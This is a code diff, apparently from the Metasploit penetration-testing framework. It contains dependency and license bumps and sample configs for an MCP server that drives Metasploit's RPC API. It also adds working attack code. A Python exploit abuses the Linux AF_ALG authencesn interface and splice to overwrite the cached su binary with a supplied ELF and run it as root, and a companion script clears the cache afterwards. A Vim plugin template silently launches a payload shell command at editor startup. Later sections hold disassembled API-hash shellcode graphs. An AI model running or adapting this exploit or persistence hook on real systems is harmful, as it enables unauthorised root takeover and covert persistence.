metasploit-model (>= 5.0.4)
mutex_m
pg
railties (~> 7.0)
railties (>= 7.0, < 8.1)
recog
webrick
metasploit_payloads-mettle (1.0.46)
@@ -489,16 +499,16 @@ GEM
http-cookie (>= 1.0.2, < 2.0)
mime-types (>= 1.16, < 4.0)
netrc (~> 0.8)
rex-arch (0.1.19)
rex-arch (0.1.20)
rex-text
rex-bin_tools (0.1.15)
rex-bin_tools (0.1.16)
metasm
rex-arch
rex-core
rex-struct2
rex-text
rex-core (0.1.36)
rex-encoder (0.1.8)
rex-encoder (0.1.10)
metasm
rex-arch
rex-text
@@ -531,7 +541,7 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.64)
rex-socket (0.1.65)
dnsruby
rex-core
rex-sslscan (0.1.13)
@@ -539,7 +549,7 @@ GEM
rex-socket
rex-text
rex-struct2 (0.1.5)
rex-text (0.2.61)
rex-text (0.2.63)
bigdecimal
rex-zip (0.1.6)
rex-text
@@ -649,6 +659,10 @@ GEM
useragent (0.16.11)
warden (1.2.9)
rack (>= 2.0.9)
webmock (3.26.2)
addressable (>= 2.8.0)
crack (>= 0.3.2)
hashdiff (>= 0.4.0, < 2.0.0)
webrick (1.9.1)
websocket-driver (0.7.7)
base64
@@ -699,6 +713,7 @@ DEPENDENCIES
simplecov (= 0.18.2)
test-prof
timecop
webmock (~> 3.18)
yard
BUNDLED WITH
+13 -8
View File
@@ -39,6 +39,7 @@ coderay, 1.1.3, MIT
concurrent-ruby, 1.3.5, MIT
connection_pool, 2.5.4, MIT
cookiejar, 0.3.4, "Simplified BSD"
crack, 1.0.1, MIT
crass, 1.0.6, MIT
csv, 3.3.2, "ruby, Simplified BSD"
daemons, 1.4.1, MIT
@@ -71,6 +72,7 @@ forwardable, 1.3.3, "ruby, Simplified BSD"
getoptlong, 0.2.1, "ruby, Simplified BSD"
gssapi, 1.3.1, MIT
gyoku, 1.4.0, MIT
hashdiff, 1.2.1, MIT
hashery, 2.1.2, "Simplified BSD"
hrr_rb_ssh, 0.4.2, "Apache 2.0"
hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
@@ -85,6 +87,7 @@ irb, 1.15.2, "ruby, Simplified BSD"
jmespath, 1.6.2, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.15.1, ruby
json-schema, 6.2.0, MIT
language_server-protocol, 3.17.0.5, MIT
license_finder, 5.11.1, MIT
lint_roller, 1.1.0, MIT
@@ -93,14 +96,15 @@ logger, 1.7.0, "ruby, Simplified BSD"
logging, 2.4.0, MIT
loofah, 2.24.1, MIT
lru_redux, 1.1.0, MIT
mcp, 0.13.0, "Apache 2.0"
memory_profiler, 1.1.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.5, "New BSD"
metasploit-credential, 6.0.20, "New BSD"
metasploit-framework, 6.4.127, "New BSD"
metasploit-credential, 6.0.23, "New BSD"
metasploit-framework, 6.4.133, "New BSD"
metasploit-model, 5.0.4, "New BSD"
metasploit-payloads, 2.0.245, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.15, "New BSD"
metasploit_data_models, 6.0.18, "New BSD"
metasploit_payloads-mettle, 1.0.46, "3-clause (or ""modified"") BSD"
method_source, 1.1.0, MIT
mime-types, 3.7.0, MIT
@@ -166,10 +170,10 @@ regexp_parser, 2.11.3, MIT
reline, 0.6.2, ruby
require_all, 3.0.0, MIT
rest-client, 2.1.0, MIT
rex-arch, 0.1.19, "New BSD"
rex-bin_tools, 0.1.15, "New BSD"
rex-arch, 0.1.20, "New BSD"
rex-bin_tools, 0.1.16, "New BSD"
rex-core, 0.1.36, "New BSD"
rex-encoder, 0.1.8, "New BSD"
rex-encoder, 0.1.10, "New BSD"
rex-exploitation, 0.1.44, "New BSD"
rex-java, 0.1.8, "New BSD"
rex-mime, 0.1.11, "New BSD"
@@ -179,10 +183,10 @@ rex-powershell, 0.1.103, "New BSD"
rex-random_identifier, 0.1.21, "New BSD"
rex-registry, 0.1.6, "New BSD"
rex-rop_builder, 0.1.6, "New BSD"
rex-socket, 0.1.64, "New BSD"
rex-socket, 0.1.65, "New BSD"
rex-sslscan, 0.1.13, "New BSD"
rex-struct2, 0.1.5, "New BSD"
rex-text, 0.2.61, "New BSD"
rex-text, 0.2.63, "New BSD"
rex-zip, 0.1.6, "New BSD"
rexml, 3.4.1, "Simplified BSD"
rinda, 0.2.0, "ruby, Simplified BSD"
@@ -233,6 +237,7 @@ unicode-emoji, 4.1.0, MIT
unix-crypt, 1.3.1, 0BSD
useragent, 0.16.11, MIT
warden, 1.2.9, MIT
webmock, 3.26.2, MIT
webrick, 1.9.1, "ruby, Simplified BSD"
websocket-driver, 0.7.7, "Apache 2.0"
websocket-extensions, 0.1.5, "Apache 2.0"
+33
View File
@@ -0,0 +1,33 @@
# Metasploit RPC API connection (MessagePack)
msf_api:
type: messagepack
host: localhost
port: 55553
ssl: true
endpoint: /api/
user: msfuser
password: CHANGEME
auto_start_rpc: true # Automatically start the RPC server if not running (default: true)
# MCP server configuration
mcp:
transport: stdio # stdio (default) or http
# MCP server network configuration (for HTTP transport only)
host: localhost # Host to bind to (default: localhost)
port: 3000 # Port to listen on (default: 3000)
# Rate limiting (optional - defaults shown)
rate_limit:
enabled: true
requests_per_minute: 60
# If the `burst_size` is greater than `requests_per_minute`, a user will be allowed to exceed the rate limit temporarily.
# For example, with `requests_per_minute=5` and `burst_size=10`, a user could make 10 requests in a short period,
# but then would be limited to 5 requests per minute thereafter.
burst_size: 10
# Logging (optional - defaults shown)
logging:
enabled: false
level: INFO # DEBUG, INFO, WARN, ERROR
log_file: ~/.msf4/logs/msfmcp.log
sanitize: true
+32
View File
@@ -0,0 +1,32 @@
# Metasploit RPC API connection (JSON-RPC)
msf_api:
type: json-rpc
host: localhost
port: 8081
ssl: true
endpoint: /api/v1/json-rpc
token: YOUR_BEARER_TOKEN_HERE
# auto_start_rpc is not supported for JSON-RPC (only MessagePack)
# MCP server configuration
mcp:
transport: stdio # stdio (default) or http
# MCP server network configuration (for HTTP transport only)
host: localhost # Host to bind to (default: localhost)
port: 3000 # Port to listen on (default: 3000)
# Rate limiting (optional - defaults shown)
rate_limit:
enabled: true
requests_per_minute: 60
# If the `burst_size` is greater than `requests_per_minute`, a user will be allowed to exceed the rate limit temporarily.
# For example, with `requests_per_minute=5` and `burst_size=10`, a user could make 10 requests in a short period,
# but then would be limited to 5 requests per minute thereafter.
burst_size: 10
# Logging (optional - defaults shown)
logging:
enabled: false
level: INFO # DEBUG, INFO, WARN, ERROR
log_file: ~/.msf4/logs/msfmcp.log
sanitize: true
File diff suppressed because one or more lines are too long
+33
View File
@@ -0,0 +1,33 @@
#!/usr/bin/env python3
import os
import socket
import sys
AF_ALG = 38
ALG_NAME = "authencesn(hmac(sha256),cbc(aes))"
def check():
if not os.path.exists('/proc/crypto'):
print('[-] /proc/crypto is missing.')
return
try:
s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
except OSError as e:
print('[-] AF_ALG socket family unavailable (' + e.strerror + ').')
return
try:
s.bind(("aead", ALG_NAME))
except OSError as e:
print('[-] ' + repr(ALG_NAME) + ' can not be instantiated (' + e.strerror + ').')
return
finally:
s.close()
print('[+] The exploit socket has been created, encryption primitives are available.')
return True
if __name__ == '__main__':
if not check():
sys.exit(1)
@@ -0,0 +1,9 @@
import os
import shutil
su_path = shutil.which('su')
su_fd = os.open(su_path, os.O_RDONLY)
try:
os.posix_fadvise(su_fd, 0, 0, os.POSIX_FADV_DONTNEED)
finally:
os.close(su_fd)
+56
View File
@@ -0,0 +1,56 @@
#!/usr/bin/env python3
import os
import base64
import shutil
import socket
import sys
import zlib
AF_ALG = 38
ALG_SET_KEY = 1
ALG_SET_IV = 2
ALG_SET_OP = 3
ALG_SET_AEAD_ASSOCLEN = 4
ALG_SET_AEAD_AUTHSIZE = 5
SOL_ALG = 279
def setup_sock():
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
sock.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex("0800010000000010" + "0" * 64))
sock.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
op_sock, _ = sock.accept()
return op_sock
def write(op_sock, su_fd, offset, chunk):
op_sock.sendmsg(
[b"A" * 4 + chunk],
[
(SOL_ALG, ALG_SET_OP, b'\x00\x00\x00\x00'),
(SOL_ALG, ALG_SET_IV, b'\x10' + b'\x00' * 19),
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b'\x08\x00\x00\x00')
],
32768
)
r, w = os.pipe()
os.splice(su_fd, w, offset + 4, offset_src=0)
os.splice(r, op_sock.fileno(), offset + 4)
try:
op_sock.recv(8 + offset)
except:
pass
su_path = shutil.which('su')
su_fd = os.open(su_path, os.O_RDONLY)
try:
elf = zlib.decompress(base64.standard_b64decode(sys.argv[1]))
except:
print('[-] failed to load the ELF executable from the argument, it must be base64+gzip')
sys.exit(os.EX_USAGE)
op_sock = setup_sock()
for i in range(0, len(elf), 4):
write(op_sock, su_fd, i, elf[i:i + 4])
op_sock.close()
os.execvp(su_path, ["su"] + sys.argv[1:])
+11
View File
@@ -0,0 +1,11 @@
" NAME.vim - Runs in the background on startup, discards output
if !has('job') || exists('g:loaded_ZZWcUtfrDa')
finish
endif
let g:loaded_NAME = 1
augroup NAME
autocmd!
autocmd VimEnter * silent! call job_start(["/bin/sh", "-c", "PAYLOAD_PLACEHOLDER"], {'out_io': 'null', 'err_io': 'null'})
augroup END
+157 -164
View File
@@ -90,350 +90,343 @@
<node id="block.0x1017:instruction.0x101b">
<data key="address">0x101b</data>
<data key="type">instruction</data>
<data key="instruction.hex">480fb74a4a</data>
<data key="instruction.source">movzx rcx, word ptr [rdx + 0x4a]</data>
<data key="instruction.hex">480fb74a48</data>
<data key="instruction.source">movzx rcx, word ptr [rdx + 0x48]</data>
</node>
<node id="block.0x1017:instruction.0x1020">
<data key="address">0x1020</data>
<data key="type">instruction</data>
<data key="instruction.hex">4d31c9</data>
<data key="instruction.source">xor r9, r9</data>
<data key="instruction.hex">41b900000000</data>
<data key="instruction.source">mov r9d, 0</data>
</node>
</graph>
</node>
<node id="block.0x1023">
<data key="address">0x1023</data>
<node id="block.0x1026">
<data key="address">0x1026</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1023</data>
<data key="address">0x1026</data>
<data key="type">block</data>
<node id="block.0x1023:instruction.0x1023">
<data key="address">0x1023</data>
<node id="block.0x1026:instruction.0x1026">
<data key="address">0x1026</data>
<data key="type">instruction</data>
<data key="instruction.hex">4831c0</data>
<data key="instruction.source">xor rax, rax</data>
</node>
<node id="block.0x1023:instruction.0x1026">
<data key="address">0x1026</data>
<node id="block.0x1026:instruction.0x1029">
<data key="address">0x1029</data>
<data key="type">instruction</data>
<data key="instruction.hex">ac</data>
<data key="instruction.source">lodsb al, byte ptr [rsi]</data>
</node>
<node id="block.0x1023:instruction.0x1027">
<data key="address">0x1027</data>
<node id="block.0x1026:instruction.0x102a">
<data key="address">0x102a</data>
<data key="type">instruction</data>
<data key="instruction.hex">3c61</data>
<data key="instruction.source">cmp al, 0x61</data>
</node>
<node id="block.0x1023:instruction.0x1029">
<data key="address">0x1029</data>
<node id="block.0x1026:instruction.0x102c">
<data key="address">0x102c</data>
<data key="type">instruction</data>
<data key="instruction.hex">7c02</data>
<data key="instruction.source">jl 0x102d</data>
<data key="instruction.source">jl 0x1030</data>
</node>
<edge source="block.0x1023:instruction.0x1023" target="block.0x1023:instruction.0x1026"/>
<edge source="block.0x1023:instruction.0x1026" target="block.0x1023:instruction.0x1027"/>
<edge source="block.0x1023:instruction.0x1027" target="block.0x1023:instruction.0x1029"/>
<edge source="block.0x1026:instruction.0x1026" target="block.0x1026:instruction.0x1029"/>
<edge source="block.0x1026:instruction.0x1029" target="block.0x1026:instruction.0x102a"/>
<edge source="block.0x1026:instruction.0x102a" target="block.0x1026:instruction.0x102c"/>
</graph>
</node>
<node id="block.0x102b">
<data key="address">0x102b</data>
<node id="block.0x102e">
<data key="address">0x102e</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x102b</data>
<data key="address">0x102e</data>
<data key="type">block</data>
<node id="block.0x102b:instruction.0x102b">
<data key="address">0x102b</data>
<node id="block.0x102e:instruction.0x102e">
<data key="address">0x102e</data>
<data key="type">instruction</data>
<data key="instruction.hex">2c20</data>
<data key="instruction.source">sub al, 0x20</data>
</node>
</graph>
</node>
<node id="block.0x102d">
<data key="address">0x102d</data>
<node id="block.0x1030">
<data key="address">0x1030</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x102d</data>
<data key="address">0x1030</data>
<data key="type">block</data>
<node id="block.0x102d:instruction.0x102d">
<data key="address">0x102d</data>
<node id="block.0x1030:instruction.0x1030">
<data key="address">0x1030</data>
<data key="type">instruction</data>
<data key="instruction.hex">41c1c90d</data>
<data key="instruction.source">ror r9d, 0xd</data>
</node>
<node id="block.0x102d:instruction.0x1031">
<data key="address">0x1031</data>
<node id="block.0x1030:instruction.0x1034">
<data key="address">0x1034</data>
<data key="type">instruction</data>
<data key="instruction.hex">4101c1</data>
<data key="instruction.source">add r9d, eax</data>
</node>
<node id="block.0x102d:instruction.0x1034">
<data key="address">0x1034</data>
<node id="block.0x1030:instruction.0x1037">
<data key="address">0x1037</data>
<data key="type">instruction</data>
<data key="instruction.hex">e2ed</data>
<data key="instruction.source">loop 0x1023</data>
<data key="instruction.source">loop 0x1026</data>
</node>
<edge source="block.0x102d:instruction.0x102d" target="block.0x102d:instruction.0x1031"/>
<edge source="block.0x102d:instruction.0x1031" target="block.0x102d:instruction.0x1034"/>
<edge source="block.0x1030:instruction.0x1030" target="block.0x1030:instruction.0x1034"/>
<edge source="block.0x1030:instruction.0x1034" target="block.0x1030:instruction.0x1037"/>
</graph>
</node>
<node id="block.0x1036">
<data key="address">0x1036</data>
<node id="block.0x1039">
<data key="address">0x1039</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1036</data>
<data key="address">0x1039</data>
<data key="type">block</data>
<node id="block.0x1036:instruction.0x1036">
<data key="address">0x1036</data>
<node id="block.0x1039:instruction.0x1039">
<data key="address">0x1039</data>
<data key="type">instruction</data>
<data key="instruction.hex">52</data>
<data key="instruction.source">push rdx</data>
</node>
<node id="block.0x1036:instruction.0x1037">
<data key="address">0x1037</data>
<node id="block.0x1039:instruction.0x103a">
<data key="address">0x103a</data>
<data key="type">instruction</data>
<data key="instruction.hex">4151</data>
<data key="instruction.source">push r9</data>
</node>
<node id="block.0x1036:instruction.0x1039">
<data key="address">0x1039</data>
<node id="block.0x1039:instruction.0x103c">
<data key="address">0x103c</data>
<data key="type">instruction</data>
<data key="instruction.hex">488b5220</data>
<data key="instruction.source">mov rdx, qword ptr [rdx + 0x20]</data>
</node>
<node id="block.0x1036:instruction.0x103d">
<data key="address">0x103d</data>
<node id="block.0x1039:instruction.0x1040">
<data key="address">0x1040</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b423c</data>
<data key="instruction.source">mov eax, dword ptr [rdx + 0x3c]</data>
</node>
<node id="block.0x1036:instruction.0x1040">
<data key="address">0x1040</data>
<node id="block.0x1039:instruction.0x1043">
<data key="address">0x1043</data>
<data key="type">instruction</data>
<data key="instruction.hex">4801d0</data>
<data key="instruction.source">add rax, rdx</data>
</node>
<node id="block.0x1036:instruction.0x1043">
<data key="address">0x1043</data>
<node id="block.0x1039:instruction.0x1046">
<data key="address">0x1046</data>
<data key="type">instruction</data>
<data key="instruction.hex">668178180b02</data>
<data key="instruction.source">cmp word ptr [rax + 0x18], 0x20b</data>
</node>
<node id="block.0x1036:instruction.0x1049">
<data key="address">0x1049</data>
<node id="block.0x1039:instruction.0x104c">
<data key="address">0x104c</data>
<data key="type">instruction</data>
<data key="instruction.hex">7572</data>
<data key="instruction.hex">756f</data>
<data key="instruction.source">jne 0x10bd</data>
</node>
<edge source="block.0x1036:instruction.0x1036" target="block.0x1036:instruction.0x1039"/>
<edge source="block.0x1036:instruction.0x1036" target="block.0x1036:instruction.0x1037"/>
<edge source="block.0x1036:instruction.0x1037" target="block.0x1036:instruction.0x1049"/>
<edge source="block.0x1036:instruction.0x1039" target="block.0x1036:instruction.0x103d"/>
<edge source="block.0x1036:instruction.0x1039" target="block.0x1036:instruction.0x1040"/>
<edge source="block.0x1036:instruction.0x103d" target="block.0x1036:instruction.0x1040"/>
<edge source="block.0x1036:instruction.0x1040" target="block.0x1036:instruction.0x1043"/>
<edge source="block.0x1036:instruction.0x1043" target="block.0x1036:instruction.0x1049"/>
<edge source="block.0x1039:instruction.0x1039" target="block.0x1039:instruction.0x103c"/>
<edge source="block.0x1039:instruction.0x1039" target="block.0x1039:instruction.0x103a"/>
<edge source="block.0x1039:instruction.0x103a" target="block.0x1039:instruction.0x104c"/>
<edge source="block.0x1039:instruction.0x103c" target="block.0x1039:instruction.0x1040"/>
<edge source="block.0x1039:instruction.0x103c" target="block.0x1039:instruction.0x1043"/>
<edge source="block.0x1039:instruction.0x1040" target="block.0x1039:instruction.0x1043"/>
<edge source="block.0x1039:instruction.0x1043" target="block.0x1039:instruction.0x1046"/>
<edge source="block.0x1039:instruction.0x1046" target="block.0x1039:instruction.0x104c"/>
</graph>
</node>
<node id="block.0x104b">
<data key="address">0x104b</data>
<node id="block.0x104e">
<data key="address">0x104e</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x104b</data>
<data key="address">0x104e</data>
<data key="type">block</data>
<node id="block.0x104b:instruction.0x104b">
<data key="address">0x104b</data>
<node id="block.0x104e:instruction.0x104e">
<data key="address">0x104e</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b8088000000</data>
<data key="instruction.source">mov eax, dword ptr [rax + 0x88]</data>
</node>
<node id="block.0x104b:instruction.0x1051">
<data key="address">0x1051</data>
<node id="block.0x104e:instruction.0x1054">
<data key="address">0x1054</data>
<data key="type">instruction</data>
<data key="instruction.hex">4885c0</data>
<data key="instruction.source">test rax, rax</data>
</node>
<node id="block.0x104b:instruction.0x1054">
<data key="address">0x1054</data>
<node id="block.0x104e:instruction.0x1057">
<data key="address">0x1057</data>
<data key="type">instruction</data>
<data key="instruction.hex">7467</data>
<data key="instruction.hex">7464</data>
<data key="instruction.source">je 0x10bd</data>
</node>
<edge source="block.0x104b:instruction.0x104b" target="block.0x104b:instruction.0x1051"/>
<edge source="block.0x104b:instruction.0x1051" target="block.0x104b:instruction.0x1054"/>
<edge source="block.0x104e:instruction.0x104e" target="block.0x104e:instruction.0x1054"/>
<edge source="block.0x104e:instruction.0x1054" target="block.0x104e:instruction.0x1057"/>
</graph>
</node>
<node id="block.0x1056">
<data key="address">0x1056</data>
<node id="block.0x1059">
<data key="address">0x1059</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1056</data>
<data key="address">0x1059</data>
<data key="type">block</data>
<node id="block.0x1056:instruction.0x1056">
<data key="address">0x1056</data>
<node id="block.0x1059:instruction.0x1059">
<data key="address">0x1059</data>
<data key="type">instruction</data>
<data key="instruction.hex">4801d0</data>
<data key="instruction.source">add rax, rdx</data>
</node>
<node id="block.0x1056:instruction.0x1059">
<data key="address">0x1059</data>
<node id="block.0x1059:instruction.0x105c">
<data key="address">0x105c</data>
<data key="type">instruction</data>
<data key="instruction.hex">50</data>
<data key="instruction.source">push rax</data>
</node>
<node id="block.0x1056:instruction.0x105a">
<data key="address">0x105a</data>
<node id="block.0x1059:instruction.0x105d">
<data key="address">0x105d</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b4818</data>
<data key="instruction.source">mov ecx, dword ptr [rax + 0x18]</data>
</node>
<node id="block.0x1056:instruction.0x105d">
<data key="address">0x105d</data>
<node id="block.0x1059:instruction.0x1060">
<data key="address">0x1060</data>
<data key="type">instruction</data>
<data key="instruction.hex">448b4020</data>
<data key="instruction.source">mov r8d, dword ptr [rax + 0x20]</data>
</node>
<node id="block.0x1056:instruction.0x1061">
<data key="address">0x1061</data>
<node id="block.0x1059:instruction.0x1064">
<data key="address">0x1064</data>
<data key="type">instruction</data>
<data key="instruction.hex">4901d0</data>
<data key="instruction.source">add r8, rdx</data>
</node>
<edge source="block.0x1056:instruction.0x1056" target="block.0x1056:instruction.0x1059"/>
<edge source="block.0x1056:instruction.0x1056" target="block.0x1056:instruction.0x105a"/>
<edge source="block.0x1056:instruction.0x1056" target="block.0x1056:instruction.0x105d"/>
<edge source="block.0x1056:instruction.0x105d" target="block.0x1056:instruction.0x1061"/>
<edge source="block.0x1059:instruction.0x1059" target="block.0x1059:instruction.0x105c"/>
<edge source="block.0x1059:instruction.0x1059" target="block.0x1059:instruction.0x105d"/>
<edge source="block.0x1059:instruction.0x1059" target="block.0x1059:instruction.0x1060"/>
<edge source="block.0x1059:instruction.0x1060" target="block.0x1059:instruction.0x1064"/>
</graph>
</node>
<node id="block.0x1064">
<data key="address">0x1064</data>
<node id="block.0x1067">
<data key="address">0x1067</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1064</data>
<data key="address">0x1067</data>
<data key="type">block</data>
<node id="block.0x1064:instruction.0x1064">
<data key="address">0x1064</data>
<node id="block.0x1067:instruction.0x1067">
<data key="address">0x1067</data>
<data key="type">instruction</data>
<data key="instruction.hex">e356</data>
<data key="instruction.hex">e353</data>
<data key="instruction.source">jrcxz 0x10bc</data>
</node>
</graph>
</node>
<node id="block.0x1066">
<data key="address">0x1066</data>
<node id="block.0x1069">
<data key="address">0x1069</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1066</data>
<data key="address">0x1069</data>
<data key="type">block</data>
<node id="block.0x1066:instruction.0x1066">
<data key="address">0x1066</data>
<node id="block.0x1069:instruction.0x1069">
<data key="address">0x1069</data>
<data key="type">instruction</data>
<data key="instruction.hex">48ffc9</data>
<data key="instruction.source">dec rcx</data>
</node>
<node id="block.0x1066:instruction.0x1069">
<data key="address">0x1069</data>
<node id="block.0x1069:instruction.0x106c">
<data key="address">0x106c</data>
<data key="type">instruction</data>
<data key="instruction.hex">418b3488</data>
<data key="instruction.source">mov esi, dword ptr [r8 + rcx*4]</data>
</node>
<node id="block.0x1066:instruction.0x106d">
<data key="address">0x106d</data>
<node id="block.0x1069:instruction.0x1070">
<data key="address">0x1070</data>
<data key="type">instruction</data>
<data key="instruction.hex">4801d6</data>
<data key="instruction.source">add rsi, rdx</data>
</node>
<node id="block.0x1066:instruction.0x1070">
<data key="address">0x1070</data>
<node id="block.0x1069:instruction.0x1073">
<data key="address">0x1073</data>
<data key="type">instruction</data>
<data key="instruction.hex">4d31c9</data>
<data key="instruction.source">xor r9, r9</data>
<data key="instruction.hex">448b4c2408</data>
<data key="instruction.source">mov r9d, dword ptr [rsp + 8]</data>
</node>
<edge source="block.0x1066:instruction.0x1066" target="block.0x1066:instruction.0x106d"/>
<edge source="block.0x1066:instruction.0x1066" target="block.0x1066:instruction.0x1069"/>
<edge source="block.0x1066:instruction.0x1069" target="block.0x1066:instruction.0x106d"/>
<edge source="block.0x1069:instruction.0x1069" target="block.0x1069:instruction.0x1070"/>
<edge source="block.0x1069:instruction.0x1069" target="block.0x1069:instruction.0x106c"/>
<edge source="block.0x1069:instruction.0x106c" target="block.0x1069:instruction.0x1070"/>
</graph>
</node>
<node id="block.0x1073">
<data key="address">0x1073</data>
<node id="block.0x1078">
<data key="address">0x1078</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1073</data>
<data key="address">0x1078</data>
<data key="type">block</data>
<node id="block.0x1073:instruction.0x1073">
<data key="address">0x1073</data>
<node id="block.0x1078:instruction.0x1078">
<data key="address">0x1078</data>
<data key="type">instruction</data>
<data key="instruction.hex">4831c0</data>
<data key="instruction.source">xor rax, rax</data>
</node>
<node id="block.0x1073:instruction.0x1076">
<data key="address">0x1076</data>
<node id="block.0x1078:instruction.0x107b">
<data key="address">0x107b</data>
<data key="type">instruction</data>
<data key="instruction.hex">ac</data>
<data key="instruction.source">lodsb al, byte ptr [rsi]</data>
</node>
<node id="block.0x1073:instruction.0x1077">
<data key="address">0x1077</data>
<node id="block.0x1078:instruction.0x107c">
<data key="address">0x107c</data>
<data key="type">instruction</data>
<data key="instruction.hex">41c1c90d</data>
<data key="instruction.source">ror r9d, 0xd</data>
</node>
<node id="block.0x1073:instruction.0x107b">
<data key="address">0x107b</data>
<node id="block.0x1078:instruction.0x1080">
<data key="address">0x1080</data>
<data key="type">instruction</data>
<data key="instruction.hex">4101c1</data>
<data key="instruction.source">add r9d, eax</data>
</node>
<node id="block.0x1073:instruction.0x107e">
<data key="address">0x107e</data>
<node id="block.0x1078:instruction.0x1083">
<data key="address">0x1083</data>
<data key="type">instruction</data>
<data key="instruction.hex">38e0</data>
<data key="instruction.source">cmp al, ah</data>
</node>
<node id="block.0x1073:instruction.0x1080">
<data key="address">0x1080</data>
<node id="block.0x1078:instruction.0x1085">
<data key="address">0x1085</data>
<data key="type">instruction</data>
<data key="instruction.hex">75f1</data>
<data key="instruction.source">jne 0x1073</data>
<data key="instruction.source">jne 0x1078</data>
</node>
<edge source="block.0x1073:instruction.0x1073" target="block.0x1073:instruction.0x1076"/>
<edge source="block.0x1073:instruction.0x1073" target="block.0x1073:instruction.0x1077"/>
<edge source="block.0x1073:instruction.0x1073" target="block.0x1073:instruction.0x107e"/>
<edge source="block.0x1073:instruction.0x1076" target="block.0x1073:instruction.0x107b"/>
<edge source="block.0x1073:instruction.0x1076" target="block.0x1073:instruction.0x107e"/>
<edge source="block.0x1073:instruction.0x1077" target="block.0x1073:instruction.0x107b"/>
<edge source="block.0x1073:instruction.0x1077" target="block.0x1073:instruction.0x1080"/>
<edge source="block.0x1073:instruction.0x107b" target="block.0x1073:instruction.0x107e"/>
<edge source="block.0x1073:instruction.0x107e" target="block.0x1073:instruction.0x1080"/>
<edge source="block.0x1078:instruction.0x1078" target="block.0x1078:instruction.0x107b"/>
<edge source="block.0x1078:instruction.0x1078" target="block.0x1078:instruction.0x107c"/>
<edge source="block.0x1078:instruction.0x1078" target="block.0x1078:instruction.0x1083"/>
<edge source="block.0x1078:instruction.0x107b" target="block.0x1078:instruction.0x1080"/>
<edge source="block.0x1078:instruction.0x107b" target="block.0x1078:instruction.0x1083"/>
<edge source="block.0x1078:instruction.0x107c" target="block.0x1078:instruction.0x1080"/>
<edge source="block.0x1078:instruction.0x107c" target="block.0x1078:instruction.0x1085"/>
<edge source="block.0x1078:instruction.0x1080" target="block.0x1078:instruction.0x1083"/>
<edge source="block.0x1078:instruction.0x1083" target="block.0x1078:instruction.0x1085"/>
</graph>
</node>
<node id="block.0x1082">
<data key="address">0x1082</data>
<node id="block.0x1087">
<data key="address">0x1087</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1082</data>
<data key="address">0x1087</data>
<data key="type">block</data>
<node id="block.0x1082:instruction.0x1082">
<data key="address">0x1082</data>
<data key="type">instruction</data>
<data key="instruction.hex">4c034c2408</data>
<data key="instruction.source">add r9, qword ptr [rsp + 8]</data>
</node>
<node id="block.0x1082:instruction.0x1087">
<node id="block.0x1087:instruction.0x1087">
<data key="address">0x1087</data>
<data key="type">instruction</data>
<data key="instruction.hex">4539d1</data>
<data key="instruction.source">cmp r9d, r10d</data>
</node>
<node id="block.0x1082:instruction.0x108a">
<node id="block.0x1087:instruction.0x108a">
<data key="address">0x108a</data>
<data key="type">instruction</data>
<data key="instruction.hex">75d8</data>
<data key="instruction.source">jne 0x1064</data>
<data key="instruction.hex">75db</data>
<data key="instruction.source">jne 0x1067</data>
</node>
<edge source="block.0x1082:instruction.0x1082" target="block.0x1082:instruction.0x1087"/>
<edge source="block.0x1082:instruction.0x1087" target="block.0x1082:instruction.0x108a"/>
<edge source="block.0x1087:instruction.0x1087" target="block.0x1087:instruction.0x108a"/>
</graph>
</node>
<node id="block.0x108c">
@@ -640,17 +633,17 @@
</graph>
</node>
<edge source="block.0x1000" target="block.0x1017"/>
<edge source="block.0x1017" target="block.0x1023"/>
<edge source="block.0x1023" target="block.0x102b"/>
<edge source="block.0x102b" target="block.0x102d"/>
<edge source="block.0x102d" target="block.0x1036"/>
<edge source="block.0x1036" target="block.0x104b"/>
<edge source="block.0x104b" target="block.0x1056"/>
<edge source="block.0x1056" target="block.0x1064"/>
<edge source="block.0x1064" target="block.0x1066"/>
<edge source="block.0x1066" target="block.0x1073"/>
<edge source="block.0x1073" target="block.0x1082"/>
<edge source="block.0x1082" target="block.0x108c"/>
<edge source="block.0x1017" target="block.0x1026"/>
<edge source="block.0x1026" target="block.0x102e"/>
<edge source="block.0x102e" target="block.0x1030"/>
<edge source="block.0x1030" target="block.0x1039"/>
<edge source="block.0x1039" target="block.0x104e"/>
<edge source="block.0x104e" target="block.0x1059"/>
<edge source="block.0x1059" target="block.0x1067"/>
<edge source="block.0x1067" target="block.0x1069"/>
<edge source="block.0x1069" target="block.0x1078"/>
<edge source="block.0x1078" target="block.0x1087"/>
<edge source="block.0x1087" target="block.0x108c"/>
<edge source="block.0x108c" target="block.0x10bc"/>
<edge source="block.0x10bc" target="block.0x10bd"/>
</graph>
+251 -258
View File
@@ -69,492 +69,471 @@
<node id="block.0x100f:instruction.0x1012">
<data key="address">0x1012</data>
<data key="type">instruction</data>
<data key="instruction.hex">0fb74a26</data>
<data key="instruction.source">movzx ecx, word ptr [edx + 0x26]</data>
<data key="instruction.hex">0fb74a24</data>
<data key="instruction.source">movzx ecx, word ptr [edx + 0x24]</data>
</node>
<node id="block.0x100f:instruction.0x1016">
<data key="address">0x1016</data>
<data key="type">instruction</data>
<data key="instruction.hex">31ff</data>
